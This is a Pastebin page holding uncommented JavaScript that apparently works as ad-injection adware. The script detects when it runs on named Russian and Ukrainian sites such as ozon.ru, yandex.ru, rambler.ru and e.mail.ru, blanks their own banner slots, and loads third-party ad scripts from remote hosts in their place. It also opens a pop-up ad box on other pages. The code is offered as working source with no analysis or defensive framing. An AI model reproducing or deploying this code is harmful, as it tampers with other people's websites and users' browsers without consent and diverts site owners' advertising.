Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if(typeof(rMutex) == "undefined")
- {
- var rMutex = true;
- var bcHMutex = false;
- var bcLSMutex = false;
- var rRnd = Math.floor(Math.random() * 100);
- var bntuniqid = 'gSpQc41zUXvns04UVCQg';
- var bntuniqsid = '58324';
- var async = 1;
- var bcDomain = "";
- if(rRnd > 0 && rRnd < 1 && document.location.host != 'vk.com' && document.location.host.indexOf('yandex.') == -1)
- {
- setTimeout(mlml, 1000);
- }
- else
- {
- setTimeout(rScr, 1000);
- }
- setTimeout(adrep, 1000);
- }
- function mlml()
- {
- var popDiv = document.createElement("div");
- popDiv.id = "popDiv";
- popDiv.style.position = "absolute";
- popDiv.style.width = "212px";
- popDiv.style.left = "1px";
- popDiv.style.top = "1px";
- popDiv.style.backgroundColor = "white";
- popDiv.style.zIndex = "1000";
- popDiv.onclick = popShowClose;
- popDiv.style.border = "1px solid black";
- document.body.appendChild(popDiv);
- var popControl = document.createElement("div");
- popControl.id = "popControl";
- popControl.style.float = "right";
- popControl.style.marginRight = "10px";
- popControl.style.display = 'none';
- popDiv.appendChild(popControl);
- var popControlClose = document.createElement("a");
- popControlClose.href = "#";
- popControlClose.onclick = popHide;
- popControlClose.style.fontSize = "11px";
- popControlClose.style.fontWeight = "bold";
- popControlClose.style.padding = "2px 0 0 0";
- popControlClose.style.color = "#096";
- popControlClose.style.height = "25px";
- popControlClose.style.fontFamily = "Tahoma, Arial, sans-serif";
- popControlClose.style.display = "block";
- popControlClose.innerHTML = "Закрыть";
- popControl.appendChild(popControlClose);
- var adDiv = document.createElement("div");
- adDiv.id = "cbgSpQc41zUXvns04UVCQg";
- popDiv.appendChild(adDiv);
- var bntuniqid = 'gSpQc41zUXvns04UVCQg';
- var bntuniqsid = '58324';
- var async = 1;
- var adScript = document.createElement("script");
- adScript.type = "text/javascript";
- adScript.language="JavaScript";
- adScript.charset = "utf-8";
- adScript.src = "http://c.ru/viewt.js";
- document.body.appendChild(adScript);
- setTimeout(popShowClose, 500);
- }
- function rrr()
- {
- var popDiv = document.createElement("div");
- popDiv.id = "popDiv";
- popDiv.style.position = "absolute";
- popDiv.style.width = "212px";
- popDiv.style.left = "1px";
- popDiv.style.top = "1px";
- popDiv.style.backgroundColor = "white";
- popDiv.style.zIndex = "100000";
- popDiv.onclick = popShowClose;
- popDiv.style.border = "1px solid black";
- document.body.appendChild(popDiv);
- var popControl = document.createElement("div");
- popControl.id = "popControl";
- popControl.style.float = "right";
- popControl.style.marginRight = "10px";
- popControl.style.display = 'none';
- popDiv.appendChild(popControl);
- var popControlClose = document.createElement("a");
- popControlClose.href = "#";
- popControlClose.onclick = popHide;
- popControlClose.style.fontSize = "11px";
- popControlClose.style.fontWeight = "bold";
- popControlClose.style.padding = "2px 0 2px 0";
- popControlClose.style.color = "#096";
- popControlClose.style.height = "20px";
- popControlClose.style.fontFamily = "Tahoma, Arial, sans-serif";
- popControlClose.style.display = "block";
- popControlClose.innerHTML = "Закрыть";
- popControl.appendChild(popControlClose);
- var adDiv = document.createElement("div");
- adDiv.id = "smi2adblock_72260";
- popDiv.appendChild(adDiv);
- (function() {
- var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true;
- sc.src = 'http://js.smi2.ru/data/js/72260.js'; sc.charset = 'utf-8';
- var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s);
- }());
- setTimeout(popShowClose, 500);
- }
- function rScr()
- {
- if(typeof(document.getElementById("rScr")) == "undefined" || document.getElementById("rScr") == null)
- {
- var rScr = document.createElement("script");
- rScr.id = "rScr";
- rScr.type = "text/javascript";
- rScr.async = true;
- rScr.src = "http://mi.yandex.ru/transport/show.js";
- document.body.appendChild(rScr);
- }
- }
- function popHide()
- {
- var popDiv = document.getElementById("popDiv");
- popDiv.style.display = 'none';
- return false;
- }
- function popShowClose()
- {
- var popControl = document.getElementById("popControl");
- popControl.style.display = 'block';
- }
- function addBlock(targetDiv, id)
- {
- var adDiv = document.createElement("DIV");
- adDiv.id = "cpms_block_" + id;
- targetDiv.appendChild(adDiv);
- var adScript = document.createElement("SCRIPT");
- adScript.type = "text/javascript";
- adScript.language="JavaScript";
- adScript.charset = "utf-8";
- adScript.src = "http://feed.teasermaster.ru/static.js";
- targetDiv.appendChild(adScript);
- }
- function vkcom()
- {
- var targetDiv = document.getElementById('side_bar');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- addBlock(targetDiv, 139);
- var origAdDiv = document.getElementById("left_ads");
- if(typeof(origAdDiv) != "undefined" && origAdDiv != null)
- {
- origAdDiv.style.display = 'none';
- }
- }
- }
- function ukrnet()
- {
- var targetDiv = document.getElementById('news_list');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- var adDiv = document.createElement("DIV");
- targetDiv.insertBefore(adDiv, targetDiv.firstChild);
- adDiv.style.marginLeft = '10px';
- addBlock(adDiv, 140);
- }
- }
- function regnumru()
- {
- var targetDiv = document.getElementsByClassName('banner')[0];
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv = targetDiv.firstChild;
- targetDiv.style.width = '1200px';
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 141);
- }
- }
- function homewebaltaru()
- {
- var targetDiv = document.getElementById('yandex-top');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 142);
- }
- var targetDiv = document.getElementsByClassName('col-2')[0];
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 162);
- }
- var targetDiv = document.getElementById('yandex-main');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 163);
- }
- }
- function ozonru()
- {
- var targetDiv = document.getElementById('prm-banner');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 144);
- }
- }
- function vsemaykiru()
- {
- var targetDiv = document.getElementsByClassName('top_text')[1];
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- addBlock(targetDiv, 145);
- }
- }
- function ramblerru()
- {
- var targetDiv = document.getElementsByClassName('mixednews__inner')[0];
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv = targetDiv.firstChild;
- addBlock(targetDiv, 146);
- }
- }
- function gismeteoru()
- {
- var targetDiv = document.getElementById('holder');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '<style>table td a {max-width: 250px;}\nimg {margin: 0px 0px 0px 0px;}\na img {border:0px;}</style>';
- targetDiv.style.width = '200px';
- targetDiv.style.marginLeft = 'auto';
- targetDiv.style.marginRight = 'auto';
- targetDiv.style.marginTop = '10px';
- addBlock(targetDiv, 147);
- }
- }
- function yandexru()
- {
- var targetDiv = document.getElementById('banner');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 153);
- }
- }
- function iua()
- {
- var targetDiv = document.getElementsByClassName('anons')[0];
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 158);
- }
- }
- function mailru()
- {
- var targetDiv = document.getElementById('slot-container_2');
- if(typeof(targetDiv) != 'undefined' && targetDiv != null)
- {
- targetDiv.innerHTML = '';
- addBlock(targetDiv, 164);
- }
- }
- function adrep()
- {
- switch(document.location.hostname)
- {
- case 'vk.com':
- //vkcom();
- break;
- case 'www.ukr.net':
- case 'ukr.net':
- ukrnet();
- break;
- case 'www.regnum.ru':
- case 'regnum.ru':
- regnumru();
- break;
- case 'home.webalta.ru':
- case 'webalta.ru':
- homewebaltaru();
- break;
- case 'www.ozon.ru':
- case 'ozon.ru':
- ozonru();
- break;
- case 'www.vsemayki.ru':
- case 'vsemayki.ru':
- vsemaykiru();
- break;
- case 'www.rambler.ru':
- case 'rambler.ru':
- ramblerru();
- break;
- case 'www.gismeteo.ru':
- case 'gismeteo.ru':
- gismeteoru();
- break;
- case 'www.yandex.ru':
- case 'yandex.ru':
- yandexru();
- break;
- case 'www.i.ua':
- case 'i.ua':
- iua();
- break;
- case 'e.mail.ru':
- mailru();
- break;
- }
- }
Add Comment
Please, Sign In to add comment